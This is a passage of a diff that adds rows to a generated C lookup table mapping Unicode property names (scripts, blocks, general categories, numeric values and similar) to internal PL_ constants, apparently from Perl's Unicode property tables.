+ { 0, 8798, 3223, 3, 3, -PL_LOE } /* loe=no */,
+ { 0, 8204, 7768, 4, 2, -PL_POSIXXDIGIT } /* ahex=f */,
+ { 32, 7288, 8400, 7, 4, PL_MIAO } /* script=miao */,
+ { 5, 2985, 7768, 3, 6, -PL_IDS } /* ids=false */,
+ { 6, 7457, 5191, 7, 14, PL_INSC__INVISIBLESTACKER } /* insc=invisiblestacker */,
+ { 18, 6706, 8612, 10, 3, PL_IN__1_DOT_1 } /* presentin=1.1 */,
+ { 4, 184, 132, 2, 2, PL_LM } /* islm */,
+ { 2, 7288, 5427, 7, 9, PL_SC__MLYM } /* script=malayalam */,
+ { 26, 3129, 1589, 17, 5, PL_LATN } /* scriptextensions=latin */,
+ { 0, 7689, 2134, 3, 3, PL_POSIXXDIGIT } /* isahex */,
+ { 0, 8780, 7997, 3, 4, PL_CWT } /* cwt=yes */,
+ { 3, 6263, 7681, 10, 7, PL_LB__XX } /* linebreak=unknown */,
+ { 1, 5037, 0, 14, 0, PL_SK } /* modifiersymbol */,
+ { 0, 6890, 6980, 4, 9, PL_INNABATAEAN } /* blk=nabataean */,
+ { 4, 5245, 7768, 13, 2, -PL_POSIXXDIGIT } /* asciihexdigit=f */,
+ { 0, 34, 3581, 3, 2, PL_EXT } /* ext=t */,
+ { 1, 184, 691, 3, 29, PL_CUNEIFORMNUMBERS } /* iscuneiformnumbersandpunctuation */,
+ { 0, 184, 1499, 2, 1, PL_Z } /* isz */,
+ { 0, 6890, 7555, 4, 7, PL_OLCK } /* blk=olchiki */,
+ { 0, 7136, 6676, 6, 10, PL_INOLDPERSIAN } /* block=oldpersian */,
+ { 3, 6484, 7768, 10, 6, -PL_IDC } /* idcontinue=false */,
+ { 4, 3129, 2249, 17, 4, PL_GLAG } /* scriptextensions=glag */,
+ { 1, 6890, 7394, 4, 7, PL_CJKEXTB } /* blk=cjkextb */,
+ { 0, 7478, 7605, 3, 6, PL_SIDD } /* issiddham */,
+ { 0, 7136, 7604, 6, 7, PL_INSIDDHAM } /* block=siddham */,
+ { 5, 96, 7997, 10, 2, PL_XPOSIXALPHA } /* alphabetic=y */,
+ { 12, 8376, 8344, 3, 2, PL_GCB__T } /* lb=jt */,
+ { 8, 8480, 0, 4, 0, PL_QAAI } /* qaai */,
+ { 11, 982, 0, 2, 0, PL_L_AMP_ } /* lc */,
+ { 8, 7136, 4784, 6, 4, PL_INCHAM } /* block=cham */,
+ { 3, 4542, 3148, 3, 17, PL_TAIXUANJING } /* istaixuanjingsymbols */,
+ { 1, 7380, 7750, 4, 1, PL_CCC__8 } /* ccc=8 */,
+ { 1, 8196, 8867, 4, 3, PL_AGE__5_DOT_1 } /* age=v51 */,
+ { 0, 21, 3239, 4, 8, PL_ALCHEMICAL } /* inalchemical */,
+ { 2, 1448, 7062, 3, 8, PL_INSAMARITAN } /* insamaritan */,
+ { 1, 4224, 0, 14, 0, PL_SC } /* currencysymbol */,
+ { 1, 6210, 43, 3, 25, PL_CJKCOMPATIDEOGRAPHS } /* incjkcompatibilityideographs */,
+ { 1, 8011, 2088, 3, 2, PL_PD } /* gc=pd */,
+ { 1, 7288, 8596, 7, 4, PL_ZANB } /* script=zanb */,
+ { 0, 184, 2065, 2, 21, PL_NCHAR } /* isnoncharactercodepoint */,
+ { 1, 1426, 7981, 22, 5, PL_INSC__BINDU } /* indicsyllabiccategory=bindu */,
+ { 12, 7288, 4494, 7, 15, PL_NARB } /* script=oldnortharabian */,
+ { 1, 5657, 7997, 12, 4, PL_BIDIM } /* bidimirrored=yes */,
+ { 0, 7478, 6, 3, 1, PL_SD } /* issd */,
+ { 5, 7604, 0, 4, 0, PL_SIDD } /* sidd */,
+ { 3, 1202, 7951, 3, 5, PL_DEP } /* dep=true */,
+ { 0, 974, 226, 24, 2, PL_CCC__BL } /* canonicalcombiningclass=bl */,
+ { 4, 8096, 2877, 4, 10, PL_DEVA } /* scx=devanagari */,
+ { 0, 974, 7709, 24, 2, PL_CCC__16 } /* canonicalcombiningclass=16 */,
+ { 0, 8816, 7750, 3, 5, PL_NV__80000 } /* nv=80000 */,
+ { 8, 6890, 6786, 4, 10, PL_SUPARROWSC } /* blk=suparrowsc */,
+ { 2, 4402, 3851, 3, 15, PL_MISCMATHSYMBOLSA } /* inmiscmathsymbolsa */,
+ { 0, 5051, 7997, 14, 4, PL_DT__NONE } /* nfkdquickcheck=yes */,
+ { 0, 8376, 73, 3, 2, PL_LB__EM } /* lb=em */,
+ { 0, 8452, 0, 4, 0, PL_ORYA } /* orya */,
+ { 5, 5544, 7702, 13, 4, PL_NV__2000 } /* numericvalue=2000 */,
+ { 26, 5245, 3581, 13, 2, PL_POSIXXDIGIT } /* asciihexdigit=t */,
+ { 8, 8783, 7768, 3, 6, -PL_CWU } /* cwu=false */,
+ { 2, 4923, 5935, 4, 10, PL_INMASARAMGONDI } /* inmasaramgondi */,
+ { 0, 7136, 6863, 6, 9, PL_ARABICPFA } /* block=arabicpfa */,
+ { 42, 3129, 8516, 17, 4, PL_SGNW } /* scriptextensions=sgnw */,
+ { 0, 8332, 1614, 4, 21, PL_SHORTHANDFORMATCONTROLS } /* inshorthandformatcontrols */,
+ { 0, 7487, 3521, 5, 5, PL_XPOSIXSPACE } /* xperlspace */,
+ { 5, 6613, 3300, 3, 3, PL_HAN } /* ishani */,
+ { 4, 7136, 1282, 6, 10, PL_CJKSYMBOLS } /* block=cjksymbols */,
+ { 2, 2859, 4188, 18, 6, PL_DT__MED } /* decompositiontype=medial */,
+ { 2, 7136, 3994, 6, 9, PL_SYRIACSUP } /* block=syriacsup */,
+ { 1, 6706, 8876, 10, 3, PL_IN__6_DOT_1 } /* presentin=v61 */,
+ { 0, 21, 6944, 2, 9, PL_LATINEXTC } /* inlatinextc */,
+ { 1, 7288, 7, 7, 18, PL_CANS } /* script=canadianaboriginal */,
+ { 3, 6613, 8, 3, 2, PL_HAN } /* ishan */,
+ { 1, 8096, 4010, 4, 4, PL_TANG } /* scx=tang */,
+ { 0, 184, 1589, 2, 9, PL_LATINEXTE } /* islatinexte */,
+ { 1, 7136, 7401, 6, 7, PL_CJKEXTC } /* block=cjkextc */,
+ { 8, 2985, 7951, 3, 5, PL_IDS } /* ids=true */,
+ { 1, 8096, 2787, 4, 4, PL_CHER } /* scx=cher */,
+ { 0, 122, 7997, 9, 4, PL_DIA } /* diacritic=yes */,
+ { 0, 6890, 6626, 4, 10, PL_INKHAROSHTHI } /* blk=kharoshthi */,
+ { 0, 6890, 7822, 4, 6, PL_INHATRAN } /* blk=hatran */,
+ { 2, 7459, 7208, 3, 8, PL_SC__HIRA } /* sc=hiragana */,
+ { 0, 7136, 7639, 6, 7, PL_INTAITHAM } /* block=taitham */,
+ { 1, 84, 7768, 4, 2, -PL_MATH } /* math=f */,
+ { 24, 849, 0, 14, 0, PL_PUA } /* privateusearea */,
+ { 5, 7224, 6484, 3, 10, PL_XIDC } /* isxidcontinue */,
+ { 4, 5765, 3581, 12, 2, PL_GRBASE } /* graphemebase=t */,
+ { 0, 6890, 7450, 4, 7, PL_INHANUNOO } /* blk=hanunoo */,
+ { 4, 7136, 1543, 6, 23, PL_GEOMETRICSHAPESEXT } /* block=geometricshapesextended */,
+ { 0, 974, 8640, 24, 2, PL_CCC__18 } /* canonicalcombiningclass=18 */,
+ { 0, 5544, 8655, 13, 2, PL_NV__33 } /* numericvalue=33 */,
+ { 1, 6566, 0, 10, 0, PL_BOXDRAWING } /* boxdrawing */,
+ { 0, 8196, 8885, 4, 3, PL_AGE__7 } /* age=v70 */,
+ { 0, 6613, 2815, 3, 8, PL_HALFMARKS } /* ishalfmarks */,
+ { 6, 7288, 7152, 7, 4, PL_SC__DUPL } /* script=dupl */,
+ { 3, 1887, 3223, 5, 3, -PL_XPOSIXLOWER } /* lower=no */,
+ { 0, 8096, 7034, 4, 4, PL_PALM } /* scx=palm */,
+ { 2, 2108, 1379, 3, 23, PL_HIGHPUSURROGATES } /* inhighprivateusesurrogates */,
+ { 0, 8096, 2967, 4, 8, PL_GEOR } /* scx=georgian */,
+ { 69, 7506, 0, 7, 0, PL_LINA } /* lineara */,
+ { 0, 7689, 3596, 4, 14, PL_ARABICSUP } /* isarabicsupplement */,
+ { 0, 8816, 8172, 3, 4, PL_NV__3_SLASH_16 } /* nv=3/16 */,
+ { 1, 8096, 7208, 4, 8, PL_HIRA } /* scx=hiragana */,
+ { 0, 8376, 6175, 3, 11, PL_LB__EX } /* lb=exclamation */,
+ { 1, 8096, 2249, 4, 10, PL_GLAG } /* scx=glagolitic */,
+ { 1, 8780, 3223, 3, 3, -PL_CWT } /* cwt=no */,
+ { 2, 7380, 8901, 4, 2, PL_CCC__36 } /* ccc=36 */,
+ { 1, 6219, 7951, 11, 5, PL_JOINC } /* joincontrol=true */,
+ { 1, 8496, 0, 4, 0, PL_SAMR } /* samr */,
+ { 0, 6210, 691, 3, 15, PL_CUNEIFORMNUMBERS } /* incuneiformnumbers */,
+ { 2, 184, 661, 3, 29, PL_CJKEXTF } /* iscjkunifiedideographsextensionf */,
+ { 0, 1417, 5037, 9, 14, PL_SK } /* category=modifiersymbol */,
+ { 8, 2108, 1084, 5, 23, PL_HALFANDFULLFORMS } /* inhalfwidthandfullwidthforms */,
+ { 2, 184, 8348, 2, 4, PL_KALI } /* iskali */,
+ { 0, 21, 7900, 2, 6, PL_INREJANG } /* inrejang */,
+ { 2, 6890, 5336, 4, 8, PL_GREEKEXT } /* blk=greekext */,
+ { 3, 184, 2484, 2, 19, PL_EGYP } /* isegyptianhieroglyphs */,
+ { 3, 8026, 6686, 5, 10, PL_INPC__OVERSTRUCK } /* inpc=overstruck */,
+ { 11, 8276, 7951, 4, 5, PL_CWCM } /* cwcm=true */,
+ { 16, 6263, 2163, 10, 2, PL_LB__GL } /* linebreak=gl */,
+ { 0, 1448, 385, 5, 30, PL_SUPSYMBOLSANDPICTOGRAPHS } /* insupplementalsymbolsandpictographs */,
+ { 6, 8096, 7555, 4, 7, PL_OLCK } /* scx=olchiki */,
+ { 2, 6890, 808, 4, 28, PL_PHONETICEXTSUP } /* blk=phoneticextensionssupplement */,
+ { 4, 7459, 7429, 3, 7, PL_DSRT } /* sc=deseret */,
+ { 0, 21, 5388, 2, 13, PL_KANAEXTA } /* inkanaextendeda */,
+ { 1, 3129, 7660, 17, 4, PL_TIRH } /* scriptextensions=tirh */,
+ { 0, 8011, 1, 3, 1, PL_N } /* gc=n */,
+ { 1, 7136, 8116, 6, 5, PL_INTAMIL } /* block=tamil */,
+ { 4, 7918, 0, 4, 0, PL_THAA } /* thaa */,
+ { 5, 8061, 0, 5, 0, PL_OGAM } /* ogham */,
+ { 1, 3674, 0, 7, 0, PL_CPRT } /* cypriot */,
+ { 1, 7288, 8452, 7, 4, PL_SC__ORYA } /* script=orya */,
+ { 0, 7621, 0, 3, 0, PL_PUA } /* pua */,
+ { 5, 3129, 4299, 17, 15, PL_ARMI } /* scriptextensions=imperialaramaic */,
+ { 0, 4449, 7998, 14, 3, PL_NFCQC__Y } /* nfcquickcheck=yes */,
+ { 6, 8822, 3223, 3, 2, -PL_PCM } /* pcm=n */,
+ { 4, 7136, 3994, 6, 16, PL_SYRIACSUP } /* block=syriacsupplement */,
+ { 0, 3373, 6845, 15, 9, PL_EA__A } /* eastasianwidth=ambiguous */,
+ { 2, 184, 2877, 2, 13, PL_DEVANAGARIEXT } /* isdevanagariext */,
+ { 0, 7380, 18, 4, 1, PL_CCC__R } /* ccc=r */,
+ { 0, 6219, 7997, 11, 2, PL_JOINC } /* joincontrol=y */,
+ { 8, 6263, 8929, 10, 2, PL_GCB__V } /* linebreak=jv */,
+ { 1, 1691, 0, 11, 0, PL_NUMBERFORMS } /* numberforms */,
+ { 1, 8572, 4561, 3, 2, PL_WB__EB } /* wb=eb */,
+ { 2, 4314, 7930, 13, 6, PL_JG__YUDHHE } /* joininggroup=yudhhe */,
+ { 0, 8096, 5957, 4, 12, PL_MEND } /* scx=mendekikakui */,
+ { 0, 4554, 8935, 14, 2, PL_SB__XX } /* sentencebreak=xx */,
+ { 0, 3129, 4784, 17, 4, PL_CHAM } /* scriptextensions=cham */,
+ { 2, 3129, 8408, 17, 3, PL_MRO } /* scriptextensions=mro */,
+ { 0, 1746, 3985, 21, 9, PL_LB__EM } /* graphemeclusterbreak=emodifier */,
+ { 12, 1474, 17, 22, 1, PL_BPT__O } /* bidipairedbrackettype=o */,
+ { 5, 4923, 5429, 4, 7, PL_INMALAYALAM } /* inmalayalam */,
+ { 3, 1543, 0, 15, 0, PL_GEOMETRICSHAPES } /* geometricshapes */,
+ { 2, 3994, 0, 9, 0, PL_SYRIACSUP } /* syriacsup */,
+ { 1, 7380, 8916, 4, 2, PL_CCC__84 } /* ccc=84 */,
+ { 0, 1184, 7768, 25, 2, -PL_DI } /* defaultignorablecodepoint=f */,
+ { 0, 2985, 7997, 4, 4, PL_IDST } /* idst=yes */,
+ { 0, 7136, 2409, 7, 5, PL_INBRAHMI } /* block=brahmi */,
+ { 2, 8096, 2107, 4, 4, PL_SINH } /* scx=sinh */,
+ { 13, 6706, 8843, 10, 3, PL_IN__2 } /* presentin=v20 */,
+ { 1, 436, 0, 5, 0, PL_NCHAR } /* nchar */,
+ { 4, 2229, 8932, 17, 1, PL_L_AMP_ } /* generalcategory=l& */,
+ { 0, 8011, 5401, 3, 13, PL_ZL } /* gc=lineseparator */,
+ { 1, 4314, 3812, 13, 3, PL_JG__LAM } /* joininggroup=lam */,
+ { 1, 7459, 8444, 3, 4, PL_OLCK } /* sc=olck */,
+ { 0, 8096, 5427, 4, 9, PL_MLYM } /* scx=malayalam */,
+ { 6, 206, 0, 2, 0, PL_PI } /* pi */,
+ { 6, 7288, 2249, 7, 10, PL_SC__GLAG } /* script=glagolitic */,
+ { 5, 7136, 4284, 6, 15, PL_INHANGUL } /* block=hangulsyllables */,
+ { 4, 3129, 7780, 17, 6, PL_CARI } /* scriptextensions=carian */,
+ { 5, 2985, 7768, 4, 6, -PL_IDST } /* idst=false */,
+ { 28, 184, 8244, 2, 4, PL_BHKS } /* isbhks */,
+ { 14, 8816, 8771, 3, 3, PL_NV__9_SLASH_2 } /* nv=9/2 */,
+ { 0, 7459, 7604, 3, 4, PL_SIDD } /* sc=sidd */,
+ { 6, 1448, 3995, 3, 8, PL_SYRIACSUP } /* insyriacsup */,
+ { 10, 7906, 7847, 4, 5, PL_SC__KTHI } /* sc=kaithi */,
+ { 2, 4542, 7919, 3, 5, PL_THAA } /* isthaana */,
+ { 8, 7478, 7591, 3, 6, PL_SHRD } /* issharada */,
+ { 0, 7478, 7619, 3, 6, PL_SUPPUAA } /* issuppuaa */,
+ { 0, 8096, 4299, 4, 15, PL_ARMI } /* scx=imperialaramaic */,
+ { 1, 7288, 7660, 7, 4, PL_SC__TIRH } /* script=tirh */,
+ { 0, 7136, 0, 6, 34, PL_UCAS } /* block=unifiedcanadianaboriginalsyllabics */,
+ { 0, 2229, 1, 16, 1, PL_N } /* generalcategory=n */,
+ { 2, 7459, 7248, 3, 8, PL_SC__JAVA } /* sc=javanese */,
+ { 0, 6890, 6696, 4, 10, PL_INPHOENICIAN } /* blk=phoenician */,
+ { 0, 2229, 4569, 16, 15, PL_LT } /* generalcategory=titlecaseletter */,
+ { 5, 5544, 5219, 13, 11, PL_NV__10000000000 } /* numericvalue=10000000000 */,
+ { 7, 5284, 7768, 13, 6, -PL_CI } /* caseignorable=false */,
+ { 0, 184, 38, 2, 2, PL_XPOSIXDIGIT } /* isnd */,
+ { 0, 7459, 2484, 3, 4, PL_EGYP } /* sc=egyp */,
+ { 2, 2100, 8072, 3, 4, PL_OSGE } /* isosage */,
+ { 8, 184, 3340, 3, 16, PL_CYRILLICEXTB } /* iscyrillicextendedb */,
+ { 7, 1354, 7997, 24, 4, PL_COMPEX } /* fullcompositionexclusion=yes */,
+ { 0, 7136, 42, 6, 26, PL_CJKCOMPATIDEOGRAPHS } /* block=cjkcompatibilityideographs */,
+ { 0, 6890, 1497, 4, 14, PL_BYZANTINEMUSIC } /* blk=byzantinemusic */,
+ { 0, 8101, 7997, 5, 4, PL_STERM } /* sterm=yes */,
+ { 0, 3129, 8111, 17, 4, PL_TAKR } /* scriptextensions=takr */,
+ { 0, 7288, 8520, 7, 4, PL_SHAW } /* script=shaw */,
+ { 0, 8816, 8160, 3, 2, PL_NV__13 } /* nv=13 */,
+ { 0, 6890, 510, 4, 30, PL_CJKEXTA } /* blk=cjkunifiedideographsextensiona */,
+ { 7, 8288, 1209, 3, 5, PL_DT__SUP } /* dt=super */,
+ { 6, 7459, 5825, 3, 4, PL_SC__MAHJ } /* sc=mahj */,
+ { 0, 7136, 4105, 7, 7, PL_BAMUMSUP } /* block=bamumsup */,
+ { 1, 6890, 7846, 4, 6, PL_INKAITHI } /* blk=kaithi */,
+ { 2, 8011, 221, 3, 2, PL_L_AMP_ } /* gc=l_ */,
+ { 2, 6210, 1982, 3, 7, PL_INCYRILLIC } /* incyrillic */,
+ { 1, 5192, 3425, 3, 3, PL_IDSB } /* isidsb */,
+ { 0, 7994, 0, 5, 0, PL_IDC } /* idc=y */,
+ { 11, 6890, 3356, 4, 17, PL_CYRILLICEXTC } /* blk=cyrillicextendedc */,
+ { 2, 7136, 4404, 6, 15, PL_INMEROITICCURSIVE } /* block=meroiticcursive */,
+ { 7, 8196, 7710, 4, 1, PL_AGE__6 } /* age=6 */,
+ { 1, 6890, 3850, 4, 16, PL_MISCMATHSYMBOLSA } /* blk=miscmathsymbolsa */,
+ { 10, 4923, 7274, 4, 6, PL_INMAHAJANI } /* inmahajani */,
+ { 9, 184, 2967, 2, 4, PL_GEOR } /* isgeor */,
+ { 0, 8011, 3914, 3, 16, PL_PO } /* gc=otherpunctuation */,
+ { 7, 8340, 8484, 3, 4, PL_JG__QAPH } /* jg=qaph */,
+ { 9, 7459, 2636, 3, 4, PL_SC__MONG } /* sc=mong */,
+ { 2, 4314, 3802, 13, 16, PL_JG__MANICHAEANLAMEDH } /* joininggroup=manichaeanlamedh */,
+ { 5, 21, 7870, 2, 6, PL_INLEPCHA } /* inlepcha */,
+ { 1, 2100, 7570, 3, 6, PL_OSMA } /* isosmanya */,
+ { 2, 7136, 3021, 6, 18, PL_LATINEXTADDITIONAL } /* block=latinextadditional */,
+ { 1, 7380, 8705, 4, 3, PL_CCC__IS } /* ccc=240 */,
+ { 10, 5645, 2655, 10, 19, PL_BC__RLO } /* bidiclass=righttoleftoverride */,
+ { 1, 6307, 0, 11, 0, PL_MYANMAREXTA } /* myanmarexta */,
+ { 1, 7459, 6736, 3, 4, PL_SAUR } /* sc=saur */,
+ { 1, 8011, 5037, 3, 14, PL_SK } /* gc=modifiersymbol */,
+ { 1, 8096, 3458, 4, 4, PL_MANI } /* scx=mani */,
+ { 1, 3656, 0, 18, 0, PL_PE } /* isclosepunctuation */,
+ { 2, 6472, 0, 11, 1, PL_WB__NU } /* wordbreak=nu */,
+ { 4, 7459, 78, 3, 4, PL_SC__ARAB } /* sc=arab */,
+ { 0, 184, 1307, 3, 23, PL_DIACRITICALSFORSYMBOLS } /* iscombiningmarksforsymbols */,
+ { 0, 7380, 8651, 7, 3, PL_CCC__132 } /* ccc=ccc132 */,
+ { 0, 8894, 3212, 3, 7, PL_VO__U } /* vo=upright */,
+ { 7, 8121, 0, 5, 0, PL_UIDEO } /* uideo */,
+ { 0, 184, 5957, 2, 12, PL_MEND } /* ismendekikakui */,
+ { 6, 7798, 0, 6, 0, PL_COMPEX } /* compex */,
+ { 0, 8240, 32, 3, 2, PL_BC__CS } /* bc=cs */,
+ { 0, 7226, 96, 6, 5, PL_XPOSIXALPHA } /* xposixalpha */,
+ { 2, 7459, 7660, 3, 4, PL_SC__TIRH } /* sc=tirh */,
+ { 1, 7288, 1401, 7, 4, PL_SC__SIND } /* script=sind */,
+ { 2, 184, 1543, 2, 18, PL_GEOMETRICSHAPESEXT } /* isgeometricshapesext */,
+ { 1, 6613, 3707, 3, 15, PL_HALFANDFULLFORMS } /* ishalfandfullforms */,
+ { 2, 6210, 4688, 3, 13, PL_CJKCOMPATFORMS } /* incjkcompatforms */,
+ { 4, 7136, 1812, 6, 22, PL_TRANSPORTANDMAP } /* block=transportandmapsymbols */,
+ { 2, 4134, 0, 15, 0, PL_BRAI } /* braillepatterns */,
+ { 0, 8196, 7750, 4, 1, PL_AGE__8 } /* age=8 */,
+ { 0, 184, 0, 4, 0, PL_CE } /* isce */,
+ { 4, 5192, 2986, 3, 3, PL_IDST } /* isidst */,
+ { 0, 7136, 808, 6, 28, PL_PHONETICEXTSUP } /* block=phoneticextensionssupplement */,
+ { 0, 8508, 3755, 4, 6, PL_SC__LINB } /* sc=linearb */,
+ { 17, 21, 1107, 2, 8, PL_INKATAKANA } /* inkatakana */,
+ { 1, 2236, 4330, 10, 14, PL_LL } /* category=lowercaseletter */,
+ { 1, 8196, 8849, 4, 3, PL_AGE__3 } /* age=v30 */,
+ { 2, 8096, 6005, 4, 12, PL_HUNG } /* scx=oldhungarian */,
+ { 3, 1160, 0, 4, 0, PL_HANG } /* hang */,
+ { 10, 8340, 5440, 3, 13, PL_JG__MALAYALAMNNNA } /* jg=malayalamnnna */,
+ { 5, 1918, 0, 21, 0, PL_CWU } /* changeswhenuppercased */,
+ { 4, 6296, 0, 11, 0, PL_MISCSYMBOLS } /* miscsymbols */,
+ { 3, 5134, 25, 3, 1, PL_PS } /* isps */,
+ { 0, 5079, 0, 14, 0, PL_MN } /* nonspacingmark */,
+ { 1, 122, 3223, 9, 2, -PL_DIA } /* diacritic=n */,
+ { 9, 5657, 7997, 5, 2, PL_BIDIM } /* bidim=y */,
+ { 0, 6890, 1506, 4, 14, PL_MUSIC } /* blk=musicalsymbols */,
+ { 0, 96, 3223, 10, 3, -PL_XPOSIXALPHA } /* alphabetic=no */,
+ { 2, 184, 2360, 2, 4, PL_MAND } /* ismand */,
+ { 27, 966, 0, 2, 0, PL_NO } /* no */,
+ { 0, 7136, 1107, 6, 8, PL_INKATAKANA } /* block=katakana */,
+ { 0, 6890, 1981, 4, 21, PL_CYRILLICSUP } /* blk=cyrillicsupplementary */,
+ { 10, 186, 0, 2, 0, PL_CE } /* ce */,
+ { 0, 7457, 5205, 5, 14, PL_INSC__VOWELDEPENDENT } /* insc=voweldependent */,
+ { 1, 1503, 721, 3, 29, PL_ENCLOSEDALPHANUMSUP } /* inenclosedalphanumericsupplement */,
+ { 0, 7459, 2877, 3, 10, PL_SC__DEVA } /* sc=devanagari */,
+ { 16, 8340, 3786, 3, 16, PL_JG__MANICHAEANDALETH } /* jg=manichaeandaleth */,
+ { 2, 5134, 469, 3, 4, PL_P } /* ispunct */,
+ { 6, 6890, 78, 4, 6, PL_INARABIC } /* blk=arabic */,
+ { 0, 7459, 6806, 3, 10, PL_WARA } /* sc=warangciti */,
+ { 24, 184, 7986, 2, 5, PL_XPOSIXBLANK } /* isblank */,
+ { 0, 6890, 448, 5, 17, PL_IDEOGRAPHICSYMBOLS } /* blk=ideographicsymbols */,
+ { 0, 8816, 7720, 3, 3, PL_NV__400 } /* nv=400 */,
+ { 1, 6890, 7366, 4, 7, PL_INBENGALI } /* blk=bengali */,
+ { 0, 8340, 5921, 3, 12, PL_JG__MANICHAEANPE } /* jg=manichaeanpe */,
+ { 26, 8376, 34, 3, 2, PL_LB__EX } /* lb=ex */,
+ { 4, 21, 8388, 2, 4, PL_LISU } /* inlisu */,
+ { 1, 7894, 3223, 6, 2, -PL_PATSYN } /* patsyn=n */,
+ { 4, 6890, 8432, 4, 3, PL_INNKO } /* blk=nko */,
+ { 0, 2754, 923, 5, 24, PL_ALPHABETICPF } /* inalphabeticpresentationforms */,
+ { 0, 8816, 7936, 3, 4, PL_NV__1_SLASH_16 } /* nv=1/16 */,
+ { 1, 4314, 3458, 13, 17, PL_JG__MANICHAEANDHAMEDH } /* joininggroup=manichaeandhamedh */,
+ { 0, 8816, 7744, 3, 1, PL_NV__7 } /* nv=7 */,
+ { 2, 7288, 7436, 7, 4, PL_ELBA } /* script=elba */,
+ { 0, 4314, 8512, 13, 4, PL_JG__SEEN } /* joininggroup=seen */,
+ { 1, 2750, 7768, 4, 6, -PL_TERM } /* term=false */,
+ { 0, 8288, 3690, 3, 3, PL_DT__FIN } /* dt=fin */,
+ { 1, 7696, 7997, 6, 2, PL_XPOSIXSPACE } /* wspace=y */,
+ { 20, 3516, 3223, 10, 3, -PL_XPOSIXSPACE } /* whitespace=no */,
+ { 5, 1746, 3914, 21, 5, PL_GCB__XX } /* graphemeclusterbreak=other */,
+ { 2, 1417, 3914, 9, 5, PL_C } /* category=other */,
+ { 4, 7136, 720, 6, 21, PL_ENCLOSEDALPHANUM } /* block=enclosedalphanumerics */,
+ { 3, 122, 7768, 9, 6, -PL_DIA } /* diacritic=false */,
+ { 1, 7689, 2390, 3, 18, PL_ANCIENTGREEKNUMBERS } /* isancientgreeknumbers */,
+ { 0, 7136, 7992, 7, 4, PL_INBUHID } /* block=buhid */,
+ { 2, 5645, 7768, 5, 6, -PL_BIDIC } /* bidic=false */,
+ { 1, 6890, 7061, 4, 9, PL_INSAMARITAN } /* blk=samaritan */,
+ { 9, 6263, 5669, 10, 12, PL_LB__SY } /* linebreak=breaksymbols */,
+ { 0, 2859, 5969, 18, 8, PL_DT__NONCANON } /* decompositiontype=noncanon */,
+ { 1, 8196, 8708, 4, 3, PL_AGE__3 } /* age=3.0 */,
+ { 4, 8192, 0, 4, 0, PL_ADLM } /* adlm */,
+ { 0, 6613, 7209, 3, 7, PL_HIRA } /* ishiragana */,
+ { 0, 7986, 0, 5, 0, PL_XPOSIXBLANK } /* blank */,
+ { 16, 1897, 7997, 21, 4, PL_CWT } /* changeswhentitlecased=yes */,
+ { 1, 1402, 2355, 24, 14, PL_INPC__BOTTOMANDRIGHT } /* indicpositionalcategory=bottomandright */,
+ { 2, 6109, 7, 10, 1, PL_XPOSIXCNTRL } /* category=cc */,
+ { 2, 7136, 2787, 6, 8, PL_INCHEROKEE } /* block=cherokee */,
+ { 2, 8528, 0, 4, 0, PL_SYRC } /* syrc */,
+ { 5, 5657, 3223, 12, 2, -PL_BIDIM } /* bidimirrored=n */,
+ { 13, 3129, 8384, 17, 4, PL_LINB } /* scriptextensions=linb */,
+ { 1, 6706, 8861, 10, 3, PL_IN__4_DOT_1 } /* presentin=v41 */,
+ { 4, 5544, 7744, 13, 1, PL_NV__7 } /* numericvalue=7 */,
+ { 4, 8816, 7756, 3, 1, PL_NV__9 } /* nv=9 */,
+ { 3, 1448, 3544, 3, 16, PL_SMALLFORMS } /* insmallformvariants */,
+ { 0, 1908, 0, 9, 0, PL_LT } /* titlecase */,
+ { 6, 7459, 8111, 3, 4, PL_SC__TAKR } /* sc=takr */,
+ { 1, 8240, 3075, 3, 18, PL_BC__B } /* bc=paragraphseparator */,
+ { 0, 184, 7876, 2, 4, PL_LYCI } /* islyci */,
+ { 5, 6890, 2967, 4, 8, PL_INGEORGIAN } /* blk=georgian */,
+ { 5, 184, 5657, 2, 12, PL_BIDIM } /* isbidimirrored */,
+ { 0, 6208, 7768, 5, 2, -PL_JOINC } /* joinc=f */,
+ { 1, 7288, 7152, 7, 8, PL_SC__DUPL } /* script=duployan */,
+ { 0, 4198, 1545, 4, 16, PL_GEOMETRICSHAPESEXT } /* ingeometricshapesext */,
+ { 0, 8276, 3581, 4, 2, PL_CWCM } /* cwcm=t */,
+ { 2, 5645, 5633, 10, 12, PL_BC__AN } /* bidiclass=arabicnumber */,
+ { 15, 1206, 7919, 3, 5, PL_INTHAANA } /* inthaana */,
+ { 5, 6890, 2841, 4, 18, PL_COPTICEPACTNUMBERS } /* blk=copticepactnumbers */,
+ { 19, 6241, 0, 11, 0, PL_KATAKANAEXT } /* katakanaext */,
+ { 0, 7288, 4135, 8, 6, PL_BRAI } /* script=braille */,
+ { 36, 8340, 5837, 3, 12, PL_JG__MALAYALAMBHA } /* jg=malayalambha */,
+ { 0, 1209, 0, 25, 0, PL_SUPERANDSUB } /* superscriptsandsubscripts */,
+ { 4, 6890, 4269, 4, 15, PL_DIACRITICALSSUP } /* blk=diacriticalssup */,
+ { 1, 8011, 45, 3, 2, PL_CO } /* gc=co */,
+ { 1, 436, 3581, 5, 2, PL_NCHAR } /* nchar=t */,
+ { 2, 3129, 2841, 17, 4, PL_COPT } /* scriptextensions=copt */,
+ { 0, 1417, 8939, 9, 2, PL_ZP } /* category=zp */,
+ { 0, 8196, 8891, 4, 3, PL_AGE__9 } /* age=v90 */,
+ { 7, 7136, 6746, 6, 10, PL_SMALLFORMS } /* block=smallforms */,
+ { 17, 8816, 7726, 3, 2, PL_NV__43 } /* nv=43 */,
+ { 5, 4784, 0, 4, 0, PL_CHAM } /* cham */,
+ { 1, 7136, 2787, 6, 18, PL_CHEROKEESUP } /* block=cherokeesupplement */,
+ { 2, 8894, 3194, 3, 7, PL_VO__R } /* vo=rotated */,
+ { 0, 6483, 7951, 11, 5, PL_XIDC } /* xidcontinue=true */,
+ { 0, 7459, 2598, 3, 19, PL_MERO } /* sc=meroitichieroglyphs */,
+ { 11, 5544, 8911, 13, 2, PL_NV__46 } /* numericvalue=46 */,
+ { 1, 5544, 8621, 13, 3, PL_NV__1_SLASH_6 } /* numericvalue=1/6 */,
+ { 0, 3373, 4127, 15, 7, PL_EA__N } /* eastasianwidth=neutral */,
+ { 0, 184, 6076, 2, 11, PL_BIDIC } /* isbidicontrol */,
+ { 1, 8516, 0, 4, 0, PL_SGNW } /* sgnw */,
+ { 0, 7380, 8688, 7, 2, PL_CCC__26 } /* ccc=ccc26 */,
+ { 4, 2990, 80, 4, 8, PL_ARABICMATH } /* inarabicmath */,
